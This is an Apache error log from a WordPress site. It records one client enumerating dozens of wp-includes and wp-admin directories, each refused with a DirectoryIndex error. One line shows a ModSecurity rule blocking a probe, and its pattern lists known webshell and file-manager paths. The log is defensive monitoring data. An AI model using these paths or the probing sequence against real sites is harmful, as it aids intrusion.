[Fri Feb 06 13:17:12.350050 2026] [autoindex:error] [pid 3477:tid 3499] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/search/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:16.216844 2026] [autoindex:error] [pid 3477:tid 3495] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:16.400724 2026] [autoindex:error] [pid 3477:tid 3483] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:22.154477 2026] [autoindex:error] [pid 3477:tid 3488] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:22.352803 2026] [autoindex:error] [pid 3477:tid 3482] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:24.968870 2026] [autoindex:error] [pid 3477:tid 3502] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:25.153934 2026] [autoindex:error] [pid 3477:tid 3489] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:27.417707 2026] [autoindex:error] [pid 3477:tid 3489] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:29.467913 2026] [autoindex:error] [pid 3477:tid 3495] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:31.412101 2026] [autoindex:error] [pid 3477:tid 3492] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:31.589741 2026] [autoindex:error] [pid 3477:tid 3484] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:31.767595 2026] [autoindex:error] [pid 3477:tid 3487] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:33.761388 2026] [autoindex:error] [pid 3477:tid 3481] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:39.385616 2026] [autoindex:error] [pid 3477:tid 3493] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:39.564477 2026] [autoindex:error] [pid 3477:tid 3499] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:41.509616 2026] [autoindex:error] [pid 3477:tid 3486] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:41.687710 2026] [autoindex:error] [pid 3477:tid 3484] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:43.654182 2026] [autoindex:error] [pid 3477:tid 3492] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:47.559573 2026] [autoindex:error] [pid 3477:tid 3497] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:49.567877 2026] [autoindex:error] [pid 3477:tid 3496] [client 149.88.106.178:46402] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:53.351650 2026] [autoindex:error] [pid 3477:tid 3480] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/php-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:55.406171 2026] [autoindex:error] [pid 3477:tid 3500] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:55.587919 2026] [autoindex:error] [pid 3477:tid 3483] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:55.767697 2026] [autoindex:error] [pid 3477:tid 3481] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:57.686950 2026] [autoindex:error] [pid 3477:tid 3487] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:57.867922 2026] [autoindex:error] [pid 3477:tid 3493] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/compat3x/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:58.059389 2026] [autoindex:error] [pid 3477:tid 3484] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:58.262869 2026] [autoindex:error] [pid 3477:tid 3492] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:58.475687 2026] [autoindex:error] [pid 3477:tid 3488] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:17:58.661356 2026] [autoindex:error] [pid 3477:tid 3483] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:18:00.656629 2026] [autoindex:error] [pid 3477:tid 3502] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:18:02.698286 2026] [autoindex:error] [pid 3477:tid 3499] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/swfupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:18:06.455560 2026] [autoindex:error] [pid 3477:tid 3485] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:18:06.634908 2026] [autoindex:error] [pid 3477:tid 3490] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:18:06.814184 2026] [autoindex:error] [pid 3477:tid 3494] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:18:10.124088 2026] [autoindex:error] [pid 3477:tid 3493] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:18:17.266506 2026] [autoindex:error] [pid 3477:tid 3491] [client 149.88.106.178:46402] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/coffee/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:18:17.444934 2026] [:error] [pid 3477:tid 3480] [client 149.88.106.178:46402] [client 149.88.106.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager"] [unique_id "aYV5mbL0Hdh40C7HYgXN-QAAAME"]
[Fri Feb 06 13:18:23.279660 2026] [autoindex:error] [pid 3381:tid 3413] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/themes/inlite/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:18:23.460117 2026] [autoindex:error] [pid 3381:tid 3436] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/src/Auth/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:18:28.898396 2026] [autoindex:error] [pid 3381:tid 3432] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/block/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:18:30.863236 2026] [autoindex:error] [pid 3381:tid 3426] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:18:32.887038 2026] [autoindex:error] [pid 3381:tid 3417] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:18:38.627731 2026] [autoindex:error] [pid 3381:tid 3418] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:18:38.809888 2026] [autoindex:error] [pid 3381:tid 3426] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/imgareaselect/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:18:42.574137 2026] [autoindex:error] [pid 3381:tid 3433] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/site-logo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:18:44.611177 2026] [autoindex:error] [pid 3381:tid 3423] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/mediaelement/renderers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:18:46.718921 2026] [autoindex:error] [pid 3381:tid 3420] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/calendar/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:18:55.768029 2026] [autoindex:error] [pid 3381:tid 3432] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:18:57.820302 2026] [autoindex:error] [pid 3381:tid 3414] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/skins/lightgray/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:18:57.999245 2026] [autoindex:error] [pid 3381:tid 3421] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/thickbox/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:18:58.178681 2026] [autoindex:error] [pid 3381:tid 3433] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/post-author/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:19:05.877629 2026] [autoindex:error] [pid 3381:tid 3436] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/utils/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:19:07.874218 2026] [autoindex:error] [pid 3381:tid 3414] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/freeform/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:19:08.060272 2026] [autoindex:error] [pid 3381:tid 3423] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:19:08.255789 2026] [autoindex:error] [pid 3381:tid 3426] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/development/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 06 13:19:10.304955 2026] [autoindex:error] [pid 3381:tid 3433] [client 149.88.106.178:45032] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
